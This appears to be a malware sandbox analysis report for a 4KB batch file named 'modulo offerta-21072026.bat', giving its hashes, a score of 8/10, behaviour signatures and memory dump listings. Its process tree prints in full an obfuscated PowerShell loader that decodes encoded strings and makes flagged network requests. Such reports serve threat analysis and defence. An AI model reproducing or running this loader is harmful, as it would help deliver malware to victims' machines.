Overview

overview

8

Static

static

1

modulo off...26.bat

windows10-2004-x64

8

modulo off...26.bat

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/07/2026, 06:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    modulo offerta-21072026.bat
  • Size 4KB
  • Sample260722-g648vsbf58
  • SHA256 7b28f3ef6ee71e7dc7f10d8eda463017b818dd2cfd0afb3832414e7ce156cc6f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
execution

Malware Config

Signatures

  • Badlisted process makes network request 10 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\modulo offerta-21072026.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4612
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoLogo -NoProfile -windowstyle 1 ";;[void](Get-Service | Select-Object -First 1);function qwerasdf { $hype = 'nonsenso' ; [void](Get-Date) };[void](Get-Date | Select-Object -ExpandProperty Year);[void](Get-Process | Select-Object -First 1);$borgerk=-6736+6736;$enla = 'asdfghjkl';$grundlggel=47331-41331;function mnbvcxz { $kender = 'qwerty' ; [void]($kender.Length) };function epilep ($filt,$drnede) {$spoiltinfi180=kniazbi(@(118,203,206,208,217,159,215,202,212,215,140,137,214,231,192,202,201,201,142)) ;$somervilli = 'oiuytre';[void]($somervilli.ToUpper());Suspe ($spoiltinfi180)}$tils = 'lkjhgfd';function kniazbi ($vulcanizab) { [void](Get-Date);[void](Get-Location);do {$hype = 'plokmi';[void]($hype.Length);$grundlggel=$borgerk%7;[void](Get-Item -Path '.');$vulcanizab[$borgerk]-=$sterc[$grundlggel];$kender = 'mnbvcx';[void]($kender.ToUpper());$grundlggel=$vulcanizab[$borgerk];$grundlggel=[char]$grundlggel;$enla = 'qwerty';[void]($enla.ToLower());$livsner+=$grundlggel;[void](Get-Date);$borgerk++;$tungtvand = 'mnbvcx';[void]($tungtvand.Length)} while ($vulcanizab[$borgerk])[void](Get-Process | Select-Object -First 1);$livsner;$optob76 = 'poiuyt';[void]($optob76.ToUpper())}[void](Get-Date);function Suspe ($kupeerka) {$emissionsb = 'asdfgh';[void]($emissionsb.Length);&($milie) $kupeerka;[void](Get-Service | Select-Object -First 1)}$enla = 'poiuyt';Function Natarbejd ($vulcanizab,$proge=0){[void](Get-Date);$troldndern=kniazbi(@(173,168,212,210,219,215,231,198,194,159,158,171,228,228,191,167,198,215,202,168,169,165,217,215,205,211,217,157,118,219,218,208,200,211,227,187,223,198,198,142));$undimidia = 'mnbvc';[void]($undimidia.Length);$kerne=@(Suspe ($troldndern));[void](Get-Process | Select-Object -First 1);For($dansks=0; $kerne[$dansks] -ne $file; $dansks++){$heleni = 'asdfgh';[void]($heleni.ToUpper());$kerne[$dansks] = epilep $kerne[$dansks] $sterc[$dansks%7];[void](Get-Item -Path '.')}$enla = 'zxcvbn';[void]($enla.ToLower());$snellest=kniazbi(@(127,207,212,205,211,146,208,181,205,198,214,192,207,210,118,208,202,214,211,215));[void](Get-Location);$fatherjor=Suspe ($snellest);$tungtvand = 'poiuyt';[void]($tungtvand.Length);if ($proge) { [void](Get-Date);Suspe $fatherjor;$optob76 = 'mnbvcx';[void]($optob76.ToUpper())}else {;[void](Get-Service | Select-Object -First 1);$fatherjor;$under = 'lkjhgf';[void]($under.Length)}[void](Get-Process | Select-Object -First 1)}$gaulliste = 'zxcvb';$sterc=@(82,101,101,100,101,114,117);$milie=kniazbi @(155,170,189);$drnedelindpr = 'poiuy';$miscons='\Lavdo254.Afs';$dratte=Natarbejd 'Z0tVRE0lHDwBChMWUjsGRVRUS0JOcjIMClNGTnIdU1BeUgckX1RRV1xFe0UiAQYZGn1XVVVVQkRiVEUiDAAQNAodS1RHR3xV';[void](Get-Date);$misc=Natarbejd 'OhERFBZIWn0RBAoCFxsmEgQSAAFbMQoISwgdGT5LFRcI';$gymnasti=Natarbejd 'HxYdCQlAWwEAFxIAAC0fKS0wMSJbZEtV';$under = 'lkjhg';$universall=Natarbejd 'FSAx';$dyrep=Natarbejd 'BxYAFkgzEjcLEQ==';[void](Get-Process | Select-Object -First 1);$peachennon=Natarbejd 'bA==';Natarbejd 'dgIJCwcTGWgVFw0WHBA2FlhAABwDaAQVFAETATNOQQkMARY9CxY=' 1;$flygtning129 = 'zxcvb';Natarbejd 'dgIJCwcTGWgCCwURGhwmAAZZQR8cIQZLFxUeHCZNQRQAExY6AAsKChxc' 1;$misc=$gnathitec[0];[void](Get-Item -Path '.');Natarbejd 'dgIJCwcTGWgACwAKBgczWCsBEl86MA8ABxFSWBEKCERBFQw/CwQXERs=' 1;Natarbejd 'dgIJCwcTGWgJEBccAhAmBFhMMRcGJkg1BREaVXYVFw0WHBA2Fkw=' 1;$gaulliste = 'mnbvc';while (!$lusypeta) {Natarbejd 'dgIJCwcTGWgpEBwQABwzCxEIVEREb0ERFhAX' 1;[void](Get-Location);Natarbejd 'dgALAAoGBzNLChQAHF12EAsNExcHIQQJCElSUT8MFgdJUlE0BAkXAFs=' 1;Natarbejd 'dgALAAoGBzNLFgERIBAjEAAXEToQMwEAFk1WESsXABRJUlE2FwQQERdc' 1;$drnedelindpr = 'poiuy';Natarbejd 'dgALAAoGBzNLFgELFl17' 1;Natarbejd 'dgIJCwcTGWgMCQgMEBAgWEEBCxYaJhcEShYGFCYQFkRIFwRyV1VU' 1;[void](Get-Date);if ($illiber) {Natarbejd 'CQccEAApKA9BAggKEBQ+XwYLCwYHMwYRDVhWEDwBChAXE1sgABYUChwGNycKABw=' 1;$under = 'lkjhg';Natarbejd 'IQZFQBUAHCELAAAWUlExCgsQFxMWJgxFSSAcFj0BDAoCUjcrEQA=' 1} [void](Get-Process | Select-Object -First 1);Natarbejd 'AQkAARVaQXs=' 1;Natarbejd 'dgIJCwcTGWgJEBccAhAmBFhMMRcGJkg1BREaVXYVFw0WHBA2Fkw=' 1 ;$flygtning129 = 'zxcvb';Natarbejd 'dgIJCwcTGWgVCg0OGxlvQQIIChAUPl8RAAAQHCYQCE9OV1E1CwQQDRsBNwZLBwoHGyY=' 1;$misc=$gnathitec[$poikil];[void](Get-Item -Path '.')}$filtutoci=158323;$gaulliste = 'mnbvc';$nona=15106;Natarbejd 'dgIJCwcTGWgICgAQHgNvAgZEQQIHOxYLAQEB' 1;[void](Get-Location);Natarbejd 'dgIJCwcTGWgtBAkIHRtvPiYLCwQQIBE4Xl80Bz0IJwUWF0NmNhEWDBwSekEICwEHGSRM' 1;Natarbejd 'dgIJCwcTGWgVDQ0JGhBvPjEBHQZbFwsGCwEbGzU4X14kITYbLEsjAAYmJhcMCgJaURoECAkKHFw=' 1;$drnedelindpr = 'poiuy';Natarbejd 'dgIJCwcTGWgICgkAHAE9ABYRWFYFOgwJDABcBicHFhAXGxs1TUECDB4BJxEKBwxeUTwKCwVM' 1;Suspe $momentoesu;function nbvcxz { $optob76 = 'asdfgh' ; [void]($optob76.Length) };;;;#Robinoside Olietjele Male Procre ReemIexDiaman ;"
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5144

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/5144-0-0x00007FFFFEAEF000-0x00007FFFFEAF0000-memory.dmp
        Download

        memory/5144-4-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-3-0x000001FD7FA80000-0x000001FD7FAA2000-memory.dmp
        Download

        memory/5144-5-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-6-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-7-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-8-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-9-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-10-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-11-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-12-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-13-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-14-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-15-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-16-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-17-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download

        memory/5144-19-0x00007FFFFE960000-0x00007FFFFF304000-memory.dmp
        Download